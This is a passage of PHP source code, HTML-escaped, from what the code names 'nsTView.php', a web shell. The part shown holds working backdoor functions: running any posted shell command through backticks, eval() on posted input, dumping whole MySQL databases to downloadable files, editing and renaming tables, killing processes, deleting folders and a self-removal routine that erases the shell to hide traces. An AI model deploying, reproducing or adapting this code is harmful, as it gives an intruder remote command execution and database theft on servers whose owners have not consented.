color=green&gt;(&lt;b&gt;$type($len)&lt;/b&gt;)&lt;/font&gt;&lt;/td&gt;&lt;td&gt;$str&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\n$i++;\r\n}\r\n\r\n}\r\n$delstring=base64_encode($del);\r\nprint \&quot;&lt;input type=hidden name=delstring value=\\&quot;$delstring\\&quot;&gt;\&quot;;\r\nprint \&quot;$buff&lt;/table&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;br&gt;\&quot;;\r\nif(!$_POST['makeupdate']){print \&quot;&lt;input type=submit value=Update name=makeupdate&gt;&lt;/form&gt;\&quot;;}\r\n\r\n\r\n\r\n\r\nif($_POST['makeupdate']){\r\nif($_POST['upd']=='update'){\r\npreg_match_all(\&quot;/name='(.*?)'\scols=39\srows=5&gt;(.*?)&lt;\/textarea&gt;/i\&quot;,$buff,$matches3);\r\n$delstring=$_POST['delstring'];\r\n$delstring=base64_decode($delstring);\r\n$delstring = substr($delstring, 0, strlen($delstring)-5);\r\n\r\nfor($i=0; $i&lt;count($matches3[0]); $i++){\r\neval(\&quot;\$\&quot;.$matches3[1][$i].\&quot; = \\&quot;\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;\\&quot;;\&quot;);\r\n$total_str .= $matches3[1][$i].\&quot;='\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;',\&quot;;\r\n}\r\n$total_str = substr_replace($total_str,\&quot;\&quot;,-1);\r\n$up_string = \&quot;UPDATE `$tbl` SET $total_str WHERE $delstring\&quot;;\r\n$up_string = htmlspecialchars($up_string, ENT_NOQUOTES);\r\nprint \&quot;&lt;b&gt;PHP var:&lt;br&gt;&lt;/b&gt;\$sql=\\&quot;$up_string\\&quot;;&lt;br&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;vnutr=1&amp;baza=1&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=$db&amp;tbl=$tbl\\&quot;&gt;\&quot;;\r\nmysql_query($up_string) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\n}#end of make update\r\n\r\n\r\n\r\nif($_POST['upd']=='insert'){\r\npreg_match_all(\&quot;/name='(.*?)'\scols=39\srows=5&gt;(.*?)&lt;\/textarea&gt;/i\&quot;,$buff,$matches3);\r\n$delstring=$_POST['delstring'];\r\n$delstring=base64_decode($delstring);\r\n$delstring = substr($delstring, 0, strlen($delstring)-5);\r\n\r\nfor($i=0; $i&lt;count($matches3[0]); $i++){\r\neval(\&quot;\$\&quot;.$matches3[1][$i].\&quot; = \\&quot;\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;\\&quot;;\&quot;);\r\n$total_str .= $matches3[1][$i].\&quot;='\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;',,\&quot;;\r\n}\r\n\r\n$total_str = \&quot;,,\&quot;.$total_str;\r\n\r\npreg_match_all(\&quot;/,(.*?)='(.*?)',/i\&quot;,$total_str,$matches4);\r\n\r\nfor($i=0; $i&lt;count($matches4[1]); $i++){\r\n        $matches4[1][0]=str_replace(\&quot;,\&quot;,\&quot;\&quot;,$matches4[1][0]);\r\n        $total_m_i .= \&quot;`\&quot;.$matches4[1][$i].\&quot;`,\&quot;;\r\n        $total_m_x .= \&quot;'\&quot;.$matches4[2][$i].\&quot;',\&quot;;\r\n}\r\n$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);\r\n$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);\r\n\r\n$make_insert=\&quot;INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)\&quot;;\r\nmysql_query($make_insert) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;b&gt;PHP var:&lt;br&gt;&lt;/b&gt;\$sql=\\&quot;$make_insert\\&quot;;&lt;br&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;vnutr=1&amp;baza=1&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=$db&amp;tbl=$tbl\\&quot;&gt;\&quot;;\r\n}#end of insert\r\n}#end of update\r\n}\r\n# end of edit row\r\n\r\n\r\n# insert new line\r\nif($_GET['ins_new_line']){\r\n$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;form method=post action='$php_self?p=sql&amp;login=\&quot;.$_GET['login'].\&quot;&amp;pass=\&quot;.$_GET['pass'].\&quot;&amp;adress=\&quot;.$_GET['adress'].\&quot;&amp;conn=1&amp;baza=1&amp;tbl=\&quot;.$_GET['tbl'].\&quot;&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=\&quot;.$_GET['db'].\&quot;&amp;ins_new_line=1'&gt;\r\nInsert new line in &lt;b&gt;$tbl&lt;/b&gt; table&lt;/b&gt;&lt;Br&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;table&gt;\&quot;;\r\nwhile ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {\r\nforeach ($new_line as $key =&gt;$next) {\r\n$buff .= \&quot;$next \&quot;;\r\n}\r\n$expl=explode(\&quot; \&quot;,$buff);\r\n$buff2 .= $expl[0].\&quot; \&quot;;\r\nprint \&quot;&lt;tr&gt;&lt;td bgcolor=silver&gt;&lt;b&gt;$expl[0]&lt;/b&gt;&lt;br&gt;&lt;font color=green&gt;(&lt;b&gt;$expl[1]&lt;/b&gt;)&lt;/font&gt;&lt;/td&gt;\r\n&lt;td&gt;&lt;textarea name='$expl[0]' cols=39 rows=5&gt;&lt;/textarea&gt;\r\n&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\nunset($buff);\r\n}\r\nprint \&quot;&lt;/table&gt;\r\n&lt;center&gt;&lt;input type=submit value=Insert name=mk_ins&gt;&lt;/form&gt;&lt;/center&gt;\&quot;;\r\nif($_POST['mk_ins']){\r\npreg_match_all(\&quot;/(.*?)\s/i\&quot;,$buff2,$matches3);\r\nfor($i=0; $i&lt;count($matches3[0]); $i++){\r\neval(\&quot;\$\&quot;.$matches3[1][$i].\&quot; = \\&quot;\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;\\&quot;;\&quot;);\r\n$total_str .= $matches3[1][$i].\&quot;='\&quot;.adds2($_POST[$matches3[1][$i]]).\&quot;',,\&quot;;\r\n}\r\n\r\n$total_str = \&quot;,,\&quot;.$total_str;\r\npreg_match_all(\&quot;/,(.*?)='(.*?)',/i\&quot;,$total_str,$matches4);\r\n\r\nfor($i=0; $i&lt;count($matches4[1]); $i++){\r\n        $matches4[1][0]=str_replace(\&quot;,\&quot;,\&quot;\&quot;,$matches4[1][0]);\r\n        $total_m_i .= \&quot;`\&quot;.$matches4[1][$i].\&quot;`,\&quot;;\r\n        $total_m_x .= \&quot;'\&quot;.$matches4[2][$i].\&quot;',\&quot;;\r\n}\r\n$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);\r\n$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);\r\n\r\n$make_insert=\&quot;INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)\&quot;;\r\nmysql_query($make_insert) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;b&gt;PHP var:&lt;br&gt;&lt;/b&gt;\$sql=\\&quot;$make_insert\\&quot;;&lt;br&gt;&lt;br&gt;\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;5;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;vnutr=1&amp;baza=1&amp;vn=\&quot;.$_GET['vn'].\&quot;&amp;db=$db&amp;tbl=$tbl\\&quot;&gt;\&quot;;\r\n}#end of mk ins\r\n}#end of ins new line\r\n\r\n\r\n\r\n\r\n\r\n\r\nif(isset($_GET['rename_table'])){\r\n$rename_table=$_GET['rename_table'];\r\nprint \&quot;&lt;br&gt;&lt;br&gt;Rename &lt;b&gt;$rename_table&lt;/b&gt; to&lt;br&gt;&lt;br&gt;\r\n&lt;form method=post action='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;db=$db&amp;baza=1&amp;rename_table=$rename_table'&gt;\r\n&lt;input name=new_name size=30&gt;&lt;center&gt;&lt;br&gt;\r\n&lt;input type=submit value=Rename&gt;&lt;/center&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n\r\nif(isset($_POST['new_name'])){\r\nmysql_select_db($db) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nmysql_query(\&quot;RENAME TABLE $rename_table TO \&quot;.$_POST['new_name']) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\nprint \&quot;&lt;br&gt;&lt;font color=green&gt;Table &lt;b&gt;$rename_table&lt;/b&gt; renamed to &lt;b&gt;\&quot;.$_POST['new_name'].\&quot;&lt;/b&gt;&lt;/font&gt;\&quot;;\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;2;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;db=$db\\&quot;&gt;\&quot;;\r\n}\r\n\r\n}#end of rename\r\n\r\n\r\n# dump table\r\nif($_GET['dump']){\r\nif(!is_writable($f_d)){die(\&quot;&lt;br&gt;&lt;br&gt;&lt;font color=red&gt;This folder $f_d isnt writable!&lt;br&gt;Cannot make dump.&lt;br&gt;&lt;br&gt;\r\n&lt;font color=green&gt;&lt;b&gt;You can change temp folder for dump file in your browser!&lt;br&gt;\r\n&lt;font color=red&gt;Change variable &amp;f_d=(here writable directory, expl: /tmp or c:/windows/temp)&lt;/font&gt;&lt;br&gt;\r\nThen press enter&lt;/b&gt;&lt;/font&gt;\r\n&lt;/font&gt;\&quot;);}\r\nmysql_select_db($db) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\n$fp = fopen($f_d.\&quot;/\&quot;.$f,\&quot;w\&quot;);\r\nfwrite($fp, \&quot;# nsTView.php v$ver\r\n# Web: http://nst.void.ru\r\n# Dump from: \&quot;.$_SERVER[\&quot;SERVER_NAME\&quot;].\&quot; (\&quot;.$_SERVER[\&quot;SERVER_ADDR\&quot;].\&quot;)\r\n# MySQL version: \&quot;.mysql_get_server_info().\&quot;\r\n# PHP version: \&quot;.phpversion().\&quot;\r\n# Date: \&quot;.date(\&quot;d.m.Y - H:i:s\&quot;).\&quot;\r\n# Dump db ( $db ) Table ( $tbl )\r\n# --- eof ---\r\n\r\n\&quot;);\r\n$que = mysql_query(\&quot;SHOW CREATE TABLE `$tbl`\&quot;) or die(\&quot;&lt;font color=red&gt;\&quot;.mysql_error().\&quot;&lt;/font&gt;\&quot;);\r\n$row = mysql_fetch_row($que);\r\nfwrite($fp, \&quot;DROP TABLE IF EXISTS `$tbl`;\r\n\&quot;);\r\n$row[1]=str_replace(\&quot;\n\&quot;,\&quot;\r\n\&quot;,$row[1]);\r\nfwrite($fp, $row[1].\&quot;;\r\n\r\n\&quot;);\r\n$que = mysql_query(\&quot;SELECT * FROM `$tbl`\&quot;);\r\nif(mysql_num_rows($que)&gt;0){\r\nwhile($row = mysql_fetch_assoc($que)){\r\n$keys = join(\&quot;`, `\&quot;, array_keys($row));\r\n$values = array_values($row);\r\nforeach($values as $k=&gt;$v) {$values[$k] = adds2($v);}\r\n$values = implode(\&quot;', '\&quot;, $values);\r\n$sql = \&quot;INSERT INTO `$tbl`(`$keys`) VALUES ('\&quot;.$values.\&quot;');\r\n\&quot;;\r\nfwrite($fp, $sql);\r\n}\r\n}\r\nfclose($fp);\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;dump_download=1&amp;f_d=$f_d/\\&quot;&gt;\&quot;;\r\n}#end of dump\r\n\r\n\r\n\r\n\r\n# db dump\r\nif($_GET['dump_db']){\r\n$c=mysql_num_rows(mysql_list_tables($db));\r\nif($c&gt;=1){\r\nprint \&quot;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dump database &lt;b&gt;$db&lt;/b&gt;\&quot;;\r\n}else{\r\nprint \&quot;&lt;br&gt;&lt;br&gt;&lt;font color=red&gt;Cannot dump database. No tables exists in &lt;b&gt;$db&lt;/b&gt; db.&lt;/font&gt;\&quot;;\r\ndie;\r\n}\r\nif(sizeof($tabs)==0){\r\n$res = mysql_query(\&quot;SHOW TABLES FROM $db\&quot;);\r\nif(mysql_num_rows($res)&gt;0){\r\nwhile($row=mysql_fetch_row($res)){\r\n$tabs[] .= $row[0];\r\n}\r\n}\r\n}\r\n$fp = fopen($f_d.\&quot;/\&quot;.$f,\&quot;w\&quot;);\r\nfwrite($fp, \&quot;# nsTView.php v$ver\r\n# Web: http://nst.void.ru\r\n# Dump from: \&quot;.$_SERVER[\&quot;SERVER_NAME\&quot;].\&quot; (\&quot;.$_SERVER[\&quot;SERVER_ADDR\&quot;].\&quot;)\r\n# MySQL version: \&quot;.mysql_get_server_info().\&quot;\r\n# PHP version: \&quot;.phpversion().\&quot;\r\n# Date: \&quot;.date(\&quot;d.m.Y - H:i:s\&quot;).\&quot;\r\n# Dump db ( $db )\r\n# --- eof ---\r\n\r\n\&quot;);\r\nforeach($tabs as $tab) {\r\nfwrite($fp,\&quot;DROP TABLE IF EXISTS `$tab`;\r\n\&quot;);\r\n$res = mysql_query(\&quot;SHOW CREATE TABLE `$tab`\&quot;);\r\n$row = mysql_fetch_row($res);\r\n$row[1]=str_replace(\&quot;\n\&quot;,\&quot;\r\n\&quot;,$row[1]);\r\nfwrite($fp, $row[1].\&quot;;\r\n\r\n\&quot;);\r\n$res = mysql_query(\&quot;SELECT * FROM `$tab`\&quot;);\r\nif(mysql_num_rows($res)&gt;0){\r\nwhile($row=mysql_fetch_assoc($res)){\r\n$keys = join(\&quot;`, `\&quot;, array_keys($row));\r\n$values = array_values($row);\r\nforeach($values as $k=&gt;$v) {$values[$k] = adds2($v);}\r\n$values = join(\&quot;', '\&quot;, $values);\r\n$sql = \&quot;INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n\&quot;;\r\nfwrite($fp, $sql);\r\n}}\r\nfwrite($fp, \&quot;\r\n\r\n\r\n\&quot;);\r\n}\r\nfclose($fp);\r\nprint \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;dump_download=1&amp;f_d=$f_d/\\&quot;&gt;\&quot;;\r\n}#end of db dump\r\n\r\n\r\n\r\n\r\n\r\n\r\n$vnutr=$_GET['vnutr'];\r\n$tbl=$_GET['tbl'];\r\nif($vnutr and !$_GET['ins_new_line']){\r\nprint \&quot;&lt;table cellpadding=0 cellspacing=1&gt;&lt;tr&gt;&lt;td&gt;\&quot;;\r\n\r\nmysql_select_db($db) or die(mysql_error());\r\n$c=mysql_query (\&quot;SELECT COUNT(*) FROM $tbl\&quot;);\r\n$cfa=mysql_fetch_array($c);\r\nmysql_free_result($c);\r\nprint \&quot;\r\nTotal: $cfa[0]\r\n&lt;form&gt;\r\nFrom: &lt;input name=from size=3 value=0&gt;\r\nTo: &lt;input name=to size=3 value='$cfa[0]'&gt;\r\n&lt;input type=submit name=show value=Show&gt;\r\n&lt;input type=hidden name=vnutr value=1&gt;\r\n&lt;input type=hidden name=vn value='$vn'&gt;\r\n&lt;input type=hidden name=db value='$db'&gt;\r\n&lt;input type=hidden name=login value='$login'&gt;\r\n&lt;input type=hidden name=pass value='$pass'&gt;\r\n&lt;input type=hidden name=adress value='$adress'&gt;\r\n&lt;input type=hidden name=conn value=1&gt;\r\n&lt;input type=hidden name=baza value=1&gt;\r\n&lt;input type=hidden name=p value=sql&gt;\r\n&lt;input type=hidden name=tbl value='$tbl'&gt;\r\n [&lt;a href='$php_self?getdb=1&amp;to=$cfa[0]&amp;vnutr=1&amp;vn=$vn&amp;db=$db&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;p=sql&amp;tbl=$tbl'&gt;DOWNLOAD&lt;/a&gt;] [&lt;a href='$php_self?to=$cfa[0]&amp;vnutr=1&amp;vn=$vn&amp;db=$db&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;p=sql&amp;tbl=$tbl&amp;ins_new_line=1'&gt;INSERT&lt;/a&gt;] [&lt;a href='$php_self?to=$cfa[0]&amp;vnutr=1&amp;vn=$vn&amp;db=$db&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;baza=1&amp;p=sql&amp;tbl=$tbl&amp;dump=1&amp;f_d=$d'&gt;DUMP&lt;/a&gt;]\r\n&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\n$vn=$_GET['vn'];\r\n$from=$_GET['from'];\r\n$to=$_GET['to'];\r\n$from=$_GET['from'];\r\n$to=$_GET['to'];\r\nif(!isset($from)){$from=0;}\r\nif(!isset($to)){$to=50;}\r\n$query = \&quot;SELECT * FROM $vn LIMIT $from,$to\&quot;;\r\n$result = mysql_query($query);\r\n$result1= mysql_query($query);\r\nprint $del_result;\r\nprint \&quot;&lt;table cellpadding=0 cellspacing=1 border=1&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;\&quot;;\r\nfor ($i=0;$i&lt;mysql_num_fields($result);$i++){\r\n$name=mysql_field_name($result,$i);\r\n$type  = mysql_field_type($result, $i);\r\n$len  = mysql_field_len($result, $i);\r\nprint \&quot;&lt;td bgcolor=#BCE0FF&gt; $name (&lt;b&gt;$type($len)&lt;/b&gt;)&lt;/td&gt;\&quot;;\r\n}\r\nprint \&quot;&lt;/tr&gt;&lt;pre&gt;\&quot;;\r\n\r\nwhile($mn = mysql_fetch_array($result, MYSQL_ASSOC)){\r\nforeach($mn as $key=&gt;$inside){\r\n$buffer1 .= \&quot;`$key`='\&quot;.adds($inside).\&quot;' AND \&quot;;\r\n$b1 .= \&quot;&lt;td&gt;\&quot;.htmlspecialchars($inside, ENT_NOQUOTES).\&quot;&amp;nbsp;&lt;/td&gt;\&quot;;\r\n}\r\n$buffer1  = substr($buffer1, 0, strlen($buffer1)-5);\r\n$buffer1  = base64_encode($buffer1);\r\nprint \&quot;&lt;td&gt;\r\n&lt;form method=post action='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;tbl=$tbl&amp;vnutr=1&amp;baza=1&amp;vn=$vn&amp;db=$db'&gt;\r\n&lt;input type=hidden name=delete_row value='$buffer1'&gt;\r\n&lt;input type=submit value=Del onclick='return confirm(\\&quot;DELETE ?\\&quot;)' style='border:1px; background-color:white;'&gt;\r\n&lt;/form&gt;&lt;form method=post action='$php_self?p=sql&amp;login=$login&amp;pass=$pass&amp;adress=$adress&amp;conn=1&amp;tbl=$tbl&amp;baza=1&amp;vn=$vn&amp;db=$db'&gt;\r\n&lt;input type=hidden name=edit_row value='$buffer1'&gt;\r\n&lt;input type=submit value=Edit style='border:1px;background-color:green;'&gt;\r\n&lt;/form&gt;\r\n&lt;/td&gt;\r\n\&quot;;\r\nprint $b1;\r\nprint \&quot;&lt;/tr&gt;\&quot;;\r\nunset($b1);\r\nunset($buffer1);\r\n}\r\n\r\n\r\n\r\nmysql_free_result($result);\r\nprint \&quot;&lt;/table&gt;\&quot;;\r\n} #end vnutr\r\nprint \&quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\n} # end $conn\r\n\r\n\r\n###   end of sql\r\nprint \&quot;&lt;/tr&gt;&lt;/td&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\nprint $copyr;\r\ndie;\r\n}\r\n\r\n\r\n@$p=$_GET['p'];\r\nif(@$_GET['p']==\&quot;selfremover\&quot;){\r\n        print \&quot;&lt;tr&gt;&lt;td&gt;\&quot;;\r\nprint \&quot;&lt;font color=red face=verdana size=1&gt;Are you sure?&lt;br&gt;\r\n&lt;a href='$php_self?p=yes'&gt;Yes&lt;/a&gt; | &lt;a href='$php_self?'&gt;No&lt;/a&gt;&lt;br&gt;\r\nRemove: &lt;u&gt;\&quot;;\r\n$path=__FILE__;\r\nprint $path;\r\nprint \&quot; &lt;/u&gt;?&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\ndie;\r\n}\r\n\r\nif($p==\&quot;yes\&quot;){\r\n$path=__FILE__;\r\n@unlink($path);\r\n$path=str_replace(\&quot;\\\&quot;,\&quot;/\&quot;,$path);\r\nif(file_exists($path)){$hmm=\&quot;NOT DELETED!!!\&quot;;\r\nprint \&quot;&lt;tr&gt;&lt;td&gt;&lt;font color=red&gt;FILE $path NOT DELETED&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\n}else{$hmm=\&quot;DELETED\&quot;;}\r\nprint \&quot;&lt;script&gt;alert('$path $hmm');&lt;/script&gt;\&quot;;\r\n\r\n}\r\n\r\n\r\n\r\nif($os==\&quot;unix\&quot;){\r\nfunction fastcmd(){\r\nglobal $fast_commands;\r\n$c_f=explode(\&quot;\n\&quot;,$fast_commands);\r\n$c_f=count($c_f)-2;\r\nprint \&quot;\r\n&lt;form method=post&gt;\r\nTotal commands: $c_f&lt;br&gt;\r\n&lt;select name=sh3&gt;\&quot;;\r\n\r\n$c=substr_count($fast_commands,\&quot; (nst) \&quot;);\r\nfor($i=0; $i&lt;=$c; $i++){\r\n       $expl2=explode(\&quot;\r\n\&quot;,$fast_commands);\r\n        $expl=explode(\&quot; (nst) \&quot;,$expl2[$i]);\r\n        if(trim($expl[1])!=\&quot;\&quot;){\r\n        print \&quot;&lt;option value='\&quot;.trim($expl[1]).\&quot;'&gt;$expl[0]&lt;/option&gt;\r\n\&quot;;\r\n   }\r\n}\r\n\r\nprint \&quot;&lt;/select&gt;&lt;br&gt;\r\n&lt;input type=submit value=Exec&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n}\r\n}#end of os unix\r\n\r\n\r\nif($os==\&quot;win\&quot;){\r\nfunction fastcmd(){\r\nglobal $fast_commands_win;\r\n$c_f=explode(\&quot;\n\&quot;,$fast_commands_win);\r\n$c_f=count($c_f)-2;\r\nprint \&quot;\r\n&lt;form method=post&gt;\r\nTotal commands: $c_f&lt;br&gt;\r\n&lt;select name=sh3&gt;\&quot;;\r\n\r\n$c=substr_count($fast_commands_win,\&quot; (nst) \&quot;);\r\nfor($i=0; $i&lt;=$c; $i++){\r\n       $expl2=explode(\&quot;\r\n\&quot;,$fast_commands_win);\r\n        $expl=explode(\&quot; (nst) \&quot;,$expl2[$i]);\r\n        if(trim($expl[1])!=\&quot;\&quot;){\r\n        print \&quot;&lt;option value='\&quot;.trim($expl[1]).\&quot;'&gt;$expl[0]&lt;/option&gt;\r\n\&quot;;\r\n   }\r\n}\r\n\r\nprint \&quot;&lt;/select&gt;&lt;br&gt;\r\n&lt;input type=submit value=Exec&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n}\r\n}#end of os win\r\n\r\n\r\necho \&quot;\r\n&lt;tr&gt;&lt;td&gt;\&quot;;\r\nif(@$_GET['sh311']==\&quot;1\&quot;){echo \&quot;&lt;center&gt;cmd&lt;br&gt;pwd:\r\n\&quot;;\r\nchdir($d);\r\necho getcwd().\&quot;&lt;br&gt;&lt;br&gt;\r\nFast cmd:&lt;br&gt;\&quot;;\r\nfastcmd();\r\nif($os==\&quot;win\&quot;){$d=str_replace(\&quot;/\&quot;,\&quot;\\\\\&quot;,$d);}\r\nprint \&quot;\r\n&lt;a href=\\&quot;javascript:cwd('$d ')\\&quot;&gt;Insert pwd&lt;/a&gt;\r\n&lt;form name=sh311Form method=post&gt;&lt;input name=sh3 size=110&gt;&lt;/form&gt;&lt;/center&gt;&lt;br&gt;\r\n\&quot;;\r\nif(@$_POST['sh3']){\r\n$sh3=$_POST['sh3'];\r\necho \&quot;&lt;pre&gt;\&quot;;\r\nprint `$sh3`;\r\necho \&quot;&lt;/pre&gt;\&quot;;\r\n}\r\n}\r\n\r\nif(@$_GET['sh311']==\&quot;2\&quot;){\r\necho \&quot;&lt;center&gt;cmd&lt;br&gt;\r\npwd:\r\n\&quot;;\r\nchdir($d);\r\necho getcwd().\&quot;&lt;br&gt;&lt;br&gt;\r\nFast cmd:&lt;br&gt;\&quot;;\r\nfastcmd();\r\nif($os==\&quot;win\&quot;){$d=str_replace(\&quot;/\&quot;,\&quot;\\\\\&quot;,$d);}\r\nprint \&quot;\r\n&lt;a href=\\&quot;javascript:cwd('$d ')\\&quot;&gt;Insert pwd&lt;/a&gt;\r\n&lt;form name=sh311Form method=post&gt;&lt;input name=sh3 size=110&gt;&lt;/form&gt;&lt;/center&gt;&lt;br&gt;\&quot;;\r\nif(@$_POST['sh3']){\r\n$sh3=$_POST['sh3'];\r\necho \&quot;&lt;pre&gt;\&quot;; print `$sh3`; echo \&quot;&lt;/pre&gt;\&quot;;}\r\necho $copyr;\r\nexit;}\r\n\r\nif(@$_GET['delfl']){\r\n@$delfolder=$_GET['delfolder'];\r\necho \&quot;DELETE FOLDER: &lt;font color=red&gt;\&quot;.@$_GET['delfolder'].\&quot;&lt;/font&gt;&lt;br&gt;\r\n(All files must be writable)&lt;br&gt;\r\n&lt;a href='$php_self?deldir=1&amp;dir=\&quot;.@$delfolder.\&quot;&amp;rback=\&quot;.@$_GET['rback'].\&quot;'&gt;Yes&lt;/a&gt; || &lt;a href='$php_self?d=$d'&gt;No&lt;/a&gt;&lt;br&gt;&lt;br&gt;\r\n\&quot;;\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n\r\n$mkdir=$_GET['mkdir'];\r\nif($mkdir){\r\nprint \&quot;&lt;br&gt;&lt;b&gt;Create Folder in $d :&lt;/b&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;form method=post&gt;\r\nNew folder name:&lt;br&gt;\r\n&lt;input name=dir_n size=30&gt;\r\n&lt;/form&gt;&lt;br&gt;\r\n\&quot;;\r\nif($_POST['dir_n']){\r\nmkdir($d.\&quot;/\&quot;.$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);\r\nprint \&quot;&lt;b&gt;&lt;font color=green&gt;Directory created success!&lt;/font&gt;&lt;/b&gt;\&quot;;\r\n}\r\nprint $copyr;\r\ndie;\r\n}\r\n\r\n\r\n$mkfile=$_GET['mkfile'];\r\nif($mkfile){\r\nprint \&quot;&lt;br&gt;&lt;b&gt;Create file in $d :&lt;/b&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;form method=post&gt;\r\nFile name:&lt;br&gt;\r\n(example: hello.txt , hello.php)&lt;br&gt;\r\n&lt;input name=file_n size=30&gt;\r\n&lt;/form&gt;&lt;br&gt;\r\n\&quot;;\r\nif($_POST['file_n']){\r\n$fp=fopen($d.\&quot;/\&quot;.$_POST['file_n'],\&quot;w\&quot;) or die('Cannot create file '.$_POST['file_n']);\r\nfwrite($fp,\&quot;\&quot;);\r\nprint \&quot;&lt;b&gt;&lt;font color=green&gt;File created success!&lt;/font&gt;&lt;/b&gt;\&quot;;\r\n}\r\nprint $copyr;\r\ndie;\r\n}\r\n\r\n\r\n$ps_table=$_GET['ps_table'];\r\nif($ps_table){\r\n\r\nif($_POST['kill_p']){\r\nexec(\&quot;kill -9 \&quot;.$_POST['kill_p']);\r\n}\r\n\r\n$str=`ps aux`;\r\n\r\n# You can put here preg_match_all for other distrib/os\r\npreg_match_all(\&quot;/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i\&quot;,$str,$matches);\r\n\r\n\r\nprint \&quot;&lt;br&gt;&lt;b&gt;PS Table :: Fast kill program&lt;br&gt;\r\n(p.s: Tested on Linux slackware 10.0)&lt;br&gt;\r\n&lt;br&gt;&lt;/b&gt;\&quot;;\r\nprint \&quot;&lt;center&gt;&lt;table border=1&gt;\&quot;;\r\nfor($i=0; $i&lt;count($matches[3]); $i++){\r\n$expl=explode(\&quot; \&quot;,$matches[0][$i]);\r\nprint \&quot;&lt;tr&gt;&lt;td&gt;$expl[0]&lt;/td&gt;&lt;td&gt;PID: \&quot;.$matches[1][$i].\&quot; :: \&quot;.$matches[3][$i].\&quot;&lt;/td&gt;&lt;form method=post&gt;&lt;td&gt;&lt;font color=red&gt;Kill: &lt;input type=submit name=kill_p value=\&quot;.trim($matches[1][$i]).\&quot;&gt;&lt;/td&gt;&lt;/form&gt;&lt;/tr&gt;\&quot;;\r\n}#end of for\r\nprint \&quot;&lt;/table&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\nunset($str);\r\nprint $copyr;\r\ndie;\r\n}#end of ps 